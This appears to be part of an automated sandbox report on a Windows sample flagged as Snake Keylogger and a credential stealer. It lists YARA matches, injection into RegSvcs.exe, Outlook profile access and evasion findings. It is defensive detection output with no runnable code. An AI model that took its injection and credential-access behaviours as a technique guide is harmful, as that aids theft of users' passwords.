Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	Code function: 8_2_050F0498	8_2_050F0498
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	Code function: 8_2_050F2748	8_2_050F2748
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	Code function: 8_2_050F2758	8_2_050F2758
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	Code function: 8_2_050F76D9	8_2_050F76D9
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	Code function: 8_2_050F46E8	8_2_050F46E8
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	Code function: 8_2_050F46F8	8_2_050F46F8
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	Code function: 8_2_050F6108	8_2_050F6108
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	Code function: 8_2_050F1192	8_2_050F1192
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	Code function: 8_2_050F11A0	8_2_050F11A0
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	Code function: 8_2_050F3008	8_2_050F3008
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	Code function: 8_2_050F0023	8_2_050F0023
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	Code function: 8_2_050F0040	8_2_050F0040
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	Code function: 8_2_050FA082	8_2_050FA082
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	Code function: 8_2_050FA090	8_2_050FA090
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	Code function: 8_2_050F60F8	8_2_050F60F8
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	Code function: 8_2_050F2300	8_2_050F2300
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	Code function: 8_2_050F93E8	8_2_050F93E8
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	Code function: 8_2_050F53F0	8_2_050F53F0
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	Code function: 8_2_050F4290	8_2_050F4290
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	Code function: 8_2_050F42A0	8_2_050F42A0
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	Code function: 8_2_050F22F0	8_2_050F22F0
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	Code function: 8_2_050F0D3A	8_2_050F0D3A
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	Code function: 8_2_050F0D48	8_2_050F0D48
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	Code function: 8_2_050F5CA0	8_2_050F5CA0
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	Code function: 8_2_050F5CB0	8_2_050F5CB0
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	Code function: 8_2_050F4F98	8_2_050F4F98
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	Code function: 8_2_050F4FA8	8_2_050F4FA8
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	Code function: 8_2_050F2FF9	8_2_050F2FF9
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	Code function: 8_2_050F3E37	8_2_050F3E37
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	Code function: 8_2_050F3E48	8_2_050F3E48
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	Code function: 8_2_050F1E98	8_2_050F1E98
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	Code function: 8_2_050F1EA8	8_2_050F1EA8
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	Code function: 8_2_050F5849	8_2_050F5849
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	Code function: 8_2_050F5858	8_2_050F5858
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	Code function: 8_2_050F38AA	8_2_050F38AA
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	Code function: 8_2_050F38B8	8_2_050F38B8
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	Code function: 8_2_050F08E0	8_2_050F08E0
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	Code function: 8_2_050F08F0	8_2_050F08F0
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	Code function: 8_2_050FAB20	8_2_050FAB20
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	Code function: 8_2_050F4B40	8_2_050F4B40
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	Code function: 8_2_050F4B50	8_2_050F4B50
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	Code function: 8_2_050F2BA0	8_2_050F2BA0
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	Code function: 8_2_050F2BB0	8_2_050F2BB0
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	Code function: 8_2_050F6BE9	8_2_050F6BE9
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	Code function: 8_2_050F6BF8	8_2_050F6BF8
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	Code function: 8_2_050F9A3B	8_2_050F9A3B
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	Code function: 8_2_050F1A40	8_2_050F1A40
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	Code function: 8_2_050F1A50	8_2_050F1A50

Source: C:\Users\user\Desktop\JWPRnfqs3n.exe	Code function: String function: 00828900 appears 42 times
Source: C:\Users\user\Desktop\JWPRnfqs3n.exe	Code function: String function: 00807DE1 appears 35 times
Source: C:\Users\user\Desktop\JWPRnfqs3n.exe	Code function: String function: 00820AE3 appears 70 times

Source: JWPRnfqs3n.exe, 00000005.00000003.1325723273.0000000003773000.00000004.00001000.00020000.00000000.sdmp	Binary or memory string: OriginalFilenamentdll.dllj% vs JWPRnfqs3n.exe
Source: JWPRnfqs3n.exe, 00000005.00000003.1324807314.000000000391D000.00000004.00001000.00020000.00000000.sdmp	Binary or memory string: OriginalFilenamentdll.dllj% vs JWPRnfqs3n.exe
Source: JWPRnfqs3n.exe, 00000005.00000002.1332934469.0000000000D80000.00000004.00001000.00020000.00000000.sdmp	Binary or memory string: OriginalFilenameCloudServices.exe< vs JWPRnfqs3n.exe

Source: JWPRnfqs3n.exe

Static PE information: EXECUTABLE_IMAGE, LARGE_ADDRESS_AWARE, 32BIT_MACHINE

Source: 8.2.RegSvcs.exe.370000.0.unpack, type: UNPACKEDPE	Matched rule: Windows_Trojan_SnakeKeylogger_af3faa65 os = windows, severity = x86, creation_date = 2021-04-06, scan_context = file, memory, license = Elastic License v2, threat_name = Windows.Trojan.SnakeKeylogger, fingerprint = 15f4ef2a03c6f5c6284ea6a9013007e4ea7dc90a1ba9c81a53a1c7407d85890d, id = af3faa65-b19d-4267-ac02-1a3b50cdc700, last_modified = 2021-08-23
Source: 8.2.RegSvcs.exe.370000.0.unpack, type: UNPACKEDPE	Matched rule: MAL_Envrial_Jan18_1 date = 2018-01-21, hash2 = 9edd8f0e22340ecc45c5f09e449aa85d196f3f506ff3f44275367df924b95c5d, hash1 = 9ae3aa2c61f7895ba6b1a3f85fbe36c8697287dc7477c5a03d32cf994fdbce85, author = Florian Roth, description = Detects Encrial credential stealer malware, reference = https://twitter.com/malwrhunterteam/status/953313514629853184, license = https://creativecommons.org/licenses/by-nc/4.0/
Source: 5.2.JWPRnfqs3n.exe.d80000.1.raw.unpack, type: UNPACKEDPE	Matched rule: Windows_Trojan_SnakeKeylogger_af3faa65 os = windows, severity = x86, creation_date = 2021-04-06, scan_context = file, memory, license = Elastic License v2, threat_name = Windows.Trojan.SnakeKeylogger, fingerprint = 15f4ef2a03c6f5c6284ea6a9013007e4ea7dc90a1ba9c81a53a1c7407d85890d, id = af3faa65-b19d-4267-ac02-1a3b50cdc700, last_modified = 2021-08-23
Source: 5.2.JWPRnfqs3n.exe.d80000.1.raw.unpack, type: UNPACKEDPE	Matched rule: MAL_Envrial_Jan18_1 date = 2018-01-21, hash2 = 9edd8f0e22340ecc45c5f09e449aa85d196f3f506ff3f44275367df924b95c5d, hash1 = 9ae3aa2c61f7895ba6b1a3f85fbe36c8697287dc7477c5a03d32cf994fdbce85, author = Florian Roth, description = Detects Encrial credential stealer malware, reference = https://twitter.com/malwrhunterteam/status/953313514629853184, license = https://creativecommons.org/licenses/by-nc/4.0/
Source: 5.2.JWPRnfqs3n.exe.d80000.1.unpack, type: UNPACKEDPE	Matched rule: Windows_Trojan_SnakeKeylogger_af3faa65 os = windows, severity = x86, creation_date = 2021-04-06, scan_context = file, memory, license = Elastic License v2, threat_name = Windows.Trojan.SnakeKeylogger, fingerprint = 15f4ef2a03c6f5c6284ea6a9013007e4ea7dc90a1ba9c81a53a1c7407d85890d, id = af3faa65-b19d-4267-ac02-1a3b50cdc700, last_modified = 2021-08-23
Source: 5.2.JWPRnfqs3n.exe.d80000.1.unpack, type: UNPACKEDPE	Matched rule: MAL_Envrial_Jan18_1 date = 2018-01-21, hash2 = 9edd8f0e22340ecc45c5f09e449aa85d196f3f506ff3f44275367df924b95c5d, hash1 = 9ae3aa2c61f7895ba6b1a3f85fbe36c8697287dc7477c5a03d32cf994fdbce85, author = Florian Roth, description = Detects Encrial credential stealer malware, reference = https://twitter.com/malwrhunterteam/status/953313514629853184, license = https://creativecommons.org/licenses/by-nc/4.0/
Source: 00000008.00000002.3729360682.0000000000372000.00000040.80000000.00040000.00000000.sdmp, type: MEMORY	Matched rule: Windows_Trojan_SnakeKeylogger_af3faa65 os = windows, severity = x86, creation_date = 2021-04-06, scan_context = file, memory, license = Elastic License v2, threat_name = Windows.Trojan.SnakeKeylogger, fingerprint = 15f4ef2a03c6f5c6284ea6a9013007e4ea7dc90a1ba9c81a53a1c7407d85890d, id = af3faa65-b19d-4267-ac02-1a3b50cdc700, last_modified = 2021-08-23
Source: 00000005.00000002.1332934469.0000000000D80000.00000004.00001000.00020000.00000000.sdmp, type: MEMORY	Matched rule: Windows_Trojan_SnakeKeylogger_af3faa65 os = windows, severity = x86, creation_date = 2021-04-06, scan_context = file, memory, license = Elastic License v2, threat_name = Windows.Trojan.SnakeKeylogger, fingerprint = 15f4ef2a03c6f5c6284ea6a9013007e4ea7dc90a1ba9c81a53a1c7407d85890d, id = af3faa65-b19d-4267-ac02-1a3b50cdc700, last_modified = 2021-08-23
Source: 00000005.00000002.1332934469.0000000000D80000.00000004.00001000.00020000.00000000.sdmp, type: MEMORY	Matched rule: MAL_Envrial_Jan18_1 date = 2018-01-21, hash2 = 9edd8f0e22340ecc45c5f09e449aa85d196f3f506ff3f44275367df924b95c5d, hash1 = 9ae3aa2c61f7895ba6b1a3f85fbe36c8697287dc7477c5a03d32cf994fdbce85, author = Florian Roth, description = Detects Encrial credential stealer malware, reference = https://twitter.com/malwrhunterteam/status/953313514629853184, license = https://creativecommons.org/licenses/by-nc/4.0/
Source: Process Memory Space: JWPRnfqs3n.exe PID: 2444, type: MEMORYSTR	Matched rule: Windows_Trojan_SnakeKeylogger_af3faa65 os = windows, severity = x86, creation_date = 2021-04-06, scan_context = file, memory, license = Elastic License v2, threat_name = Windows.Trojan.SnakeKeylogger, fingerprint = 15f4ef2a03c6f5c6284ea6a9013007e4ea7dc90a1ba9c81a53a1c7407d85890d, id = af3faa65-b19d-4267-ac02-1a3b50cdc700, last_modified = 2021-08-23
Source: Process Memory Space: RegSvcs.exe PID: 2172, type: MEMORYSTR	Matched rule: Windows_Trojan_SnakeKeylogger_af3faa65 os = windows, severity = x86, creation_date = 2021-04-06, scan_context = file, memory, license = Elastic License v2, threat_name = Windows.Trojan.SnakeKeylogger, fingerprint = 15f4ef2a03c6f5c6284ea6a9013007e4ea7dc90a1ba9c81a53a1c7407d85890d, id = af3faa65-b19d-4267-ac02-1a3b50cdc700, last_modified = 2021-08-23

Source: classification engine

Classification label: mal100.troj.spyw.evad.winEXE@3/2@3/3

Source: C:\Users\user\Desktop\JWPRnfqs3n.exe

Code function: 5_2_0086A06A GetLastError,FormatMessageW,

5_2_0086A06A

Source: C:\Users\user\Desktop\JWPRnfqs3n.exe	Code function: 5_2_008581CB AdjustTokenPrivileges,CloseHandle,		5_2_008581CB
Source: C:\Users\user\Desktop\JWPRnfqs3n.exe	Code function: 5_2_008587E1 LookupPrivilegeValueW,AdjustTokenPrivileges,GetLastError,		5_2_008587E1

Source: C:\Users\user\Desktop\JWPRnfqs3n.exe

Code function: 5_2_0086B3FB SetErrorMode,GetDiskFreeSpaceExW,SetErrorMode,

5_2_0086B3FB

Source: C:\Users\user\Desktop\JWPRnfqs3n.exe

Code function: 5_2_0087EE0D CreateToolhelp32Snapshot,Process32FirstW,Process32NextW,CloseHandle,

5_2_0087EE0D

Source: C:\Users\user\Desktop\JWPRnfqs3n.exe

Code function: 5_2_0086C397 CoInitialize,CoCreateInstance,CoUninitialize,

5_2_0086C397

Source: C:\Users\user\Desktop\JWPRnfqs3n.exe

Code function: 5_2_00804E89 CreateStreamOnHGlobal,FindResourceExW,LoadResource,SizeofResource,LockResource,

5_2_00804E89

Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe

Mutant created: NULL

Source: C:\Users\user\Desktop\JWPRnfqs3n.exe

File created: C:\Users\user~1\AppData\Local\Temp\autA514.tmp

Jump to behavior

Source: C:\Users\user\Desktop\JWPRnfqs3n.exe	Command line argument: 8o	5_2_008047D0
Source: C:\Users\user\Desktop\JWPRnfqs3n.exe	Command line argument: H	5_2_008047D0
Source: C:\Users\user\Desktop\JWPRnfqs3n.exe	Command line argument: H	5_2_008047D0

Source: JWPRnfqs3n.exe

Static PE information: Section: .text IMAGE_SCN_CNT_CODE, IMAGE_SCN_MEM_EXECUTE, IMAGE_SCN_MEM_READ

Source: C:\Users\user\Desktop\JWPRnfqs3n.exe

Key opened: HKEY_CURRENT_USER\Software\Policies\Microsoft\Windows\Safer\CodeIdentifiers

Jump to behavior

Source: RegSvcs.exe, 00000008.00000002.3730877202.00000000027C5000.00000004.00000800.00020000.00000000.sdmp, RegSvcs.exe, 00000008.00000002.3730877202.0000000002795000.00000004.00000800.00020000.00000000.sdmp, RegSvcs.exe, 00000008.00000002.3730877202.00000000027B8000.00000004.00000800.00020000.00000000.sdmp, RegSvcs.exe, 00000008.00000002.3730877202.0000000002786000.00000004.00000800.00020000.00000000.sdmp, RegSvcs.exe, 00000008.00000002.3731437525.00000000036CD000.00000004.00000800.00020000.00000000.sdmp, RegSvcs.exe, 00000008.00000002.3730877202.00000000027A4000.00000004.00000800.00020000.00000000.sdmp

Binary or memory string: CREATE TABLE password_notes (id INTEGER PRIMARY KEY AUTOINCREMENT, parent_id INTEGER NOT NULL REFERENCES logins ON UPDATE CASCADE ON DELETE CASCADE DEFERRABLE INITIALLY DEFERRED, key VARCHAR NOT NULL, value BLOB, date_created INTEGER NOT NULL, confidential INTEGER, UNIQUE (parent_id, key));

Source: JWPRnfqs3n.exe	ReversingLabs: Detection: 79%
Source: JWPRnfqs3n.exe	Virustotal: Detection: 66%

Source: unknown	Process created: C:\Users\user\Desktop\JWPRnfqs3n.exe "C:\Users\user\Desktop\JWPRnfqs3n.exe"
Source: C:\Users\user\Desktop\JWPRnfqs3n.exe	Process created: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe "C:\Users\user\Desktop\JWPRnfqs3n.exe"
Source: C:\Users\user\Desktop\JWPRnfqs3n.exe	Process created: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe "C:\Users\user\Desktop\JWPRnfqs3n.exe"	Jump to behavior

Source: C:\Users\user\Desktop\JWPRnfqs3n.exe	Section loaded: wsock32.dll	Jump to behavior
Source: C:\Users\user\Desktop\JWPRnfqs3n.exe	Section loaded: version.dll	Jump to behavior
Source: C:\Users\user\Desktop\JWPRnfqs3n.exe	Section loaded: winmm.dll	Jump to behavior
Source: C:\Users\user\Desktop\JWPRnfqs3n.exe	Section loaded: mpr.dll	Jump to behavior
Source: C:\Users\user\Desktop\JWPRnfqs3n.exe	Section loaded: wininet.dll	Jump to behavior
Source: C:\Users\user\Desktop\JWPRnfqs3n.exe	Section loaded: iphlpapi.dll	Jump to behavior
Source: C:\Users\user\Desktop\JWPRnfqs3n.exe	Section loaded: userenv.dll	Jump to behavior
Source: C:\Users\user\Desktop\JWPRnfqs3n.exe	Section loaded: uxtheme.dll	Jump to behavior
Source: C:\Users\user\Desktop\JWPRnfqs3n.exe	Section loaded: kernel.appcore.dll	Jump to behavior
Source: C:\Users\user\Desktop\JWPRnfqs3n.exe	Section loaded: windows.storage.dll	Jump to behavior
Source: C:\Users\user\Desktop\JWPRnfqs3n.exe	Section loaded: wldp.dll	Jump to behavior

Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe

Key opened: HKEY_CURRENT_USER\Software\Microsoft\Office\15.0\Outlook\Profiles\Outlook\9375CFF0413111d3B88A00104B2A6676

Jump to behavior

Source: JWPRnfqs3n.exe	Static PE information: data directory type: IMAGE_DIRECTORY_ENTRY_IMPORT
Source: JWPRnfqs3n.exe	Static PE information: data directory type: IMAGE_DIRECTORY_ENTRY_RESOURCE
Source: JWPRnfqs3n.exe	Static PE information: data directory type: IMAGE_DIRECTORY_ENTRY_BASERELOC
Source: JWPRnfqs3n.exe	Static PE information: data directory type: IMAGE_DIRECTORY_ENTRY_DEBUG
Source: JWPRnfqs3n.exe	Static PE information: data directory type: IMAGE_DIRECTORY_ENTRY_LOAD_CONFIG
Source: JWPRnfqs3n.exe	Static PE information: data directory type: IMAGE_DIRECTORY_ENTRY_IAT

Source: JWPRnfqs3n.exe

Static PE information: data directory type: IMAGE_DIRECTORY_ENTRY_DEBUG

Source:	Binary string: wntdll.pdbUGP source: JWPRnfqs3n.exe, 00000005.00000003.1324807314.00000000037F0000.00000004.00001000.00020000.00000000.sdmp, JWPRnfqs3n.exe, 00000005.00000003.1324641312.0000000003650000.00000004.00001000.00020000.00000000.sdmp
Source:	Binary string: wntdll.pdb source: JWPRnfqs3n.exe, 00000005.00000003.1324807314.00000000037F0000.00000004.00001000.00020000.00000000.sdmp, JWPRnfqs3n.exe, 00000005.00000003.1324641312.0000000003650000.00000004.00001000.00020000.00000000.sdmp

Source: JWPRnfqs3n.exe	Static PE information: Data directory: IMAGE_DIRECTORY_ENTRY_IMPORT is in: .rdata
Source: JWPRnfqs3n.exe	Static PE information: Data directory: IMAGE_DIRECTORY_ENTRY_RESOURCE is in: .rsrc
Source: JWPRnfqs3n.exe	Static PE information: Data directory: IMAGE_DIRECTORY_ENTRY_BASERELOC is in: .reloc
Source: JWPRnfqs3n.exe	Static PE information: Data directory: IMAGE_DIRECTORY_ENTRY_LOAD_CONFIG is in: .rdata
Source: JWPRnfqs3n.exe	Static PE information: Data directory: IMAGE_DIRECTORY_ENTRY_IAT is in: .rdata

Source: C:\Users\user\Desktop\JWPRnfqs3n.exe

Code function: 5_2_00804B37 LoadLibraryA,GetProcAddress,

5_2_00804B37

Source: C:\Users\user\Desktop\JWPRnfqs3n.exe

Code function: 5_2_00828945 push ecx; ret

5_2_00828958

Source: C:\Users\user\Desktop\JWPRnfqs3n.exe	Code function: 5_2_008048D7 GetForegroundWindow,FindWindowW,IsIconic,ShowWindow,SetForegroundWindow,GetWindowThreadProcessId,GetWindowThreadProcessId,GetCurrentThreadId,GetWindowThreadProcessId,AttachThreadInput,AttachThreadInput,AttachThreadInput,AttachThreadInput,SetForegroundWindow,MapVirtualKeyW,MapVirtualKeyW,keybd_event,keybd_event,MapVirtualKeyW,keybd_event,MapVirtualKeyW,keybd_event,MapVirtualKeyW,keybd_event,SetForegroundWindow,AttachThreadInput,AttachThreadInput,AttachThreadInput,AttachThreadInput,		5_2_008048D7
Source: C:\Users\user\Desktop\JWPRnfqs3n.exe	Code function: 5_2_00885376 IsWindowVisible,IsWindowEnabled,GetForegroundWindow,IsIconic,IsZoomed,		5_2_00885376

Source: C:\Users\user\Desktop\JWPRnfqs3n.exe

Code function: 5_2_00823187 EncodePointer,__initp_misc_winsig,GetModuleHandleW,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,

5_2_00823187

Source: C:\Users\user\Desktop\JWPRnfqs3n.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\JWPRnfqs3n.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior

Malware Analysis System Evasion

Switches to a custom stack to bypass stack traces

Source: C:\Users\user\Desktop\JWPRnfqs3n.exe

API/Special instruction interceptor: Address: E55EC4

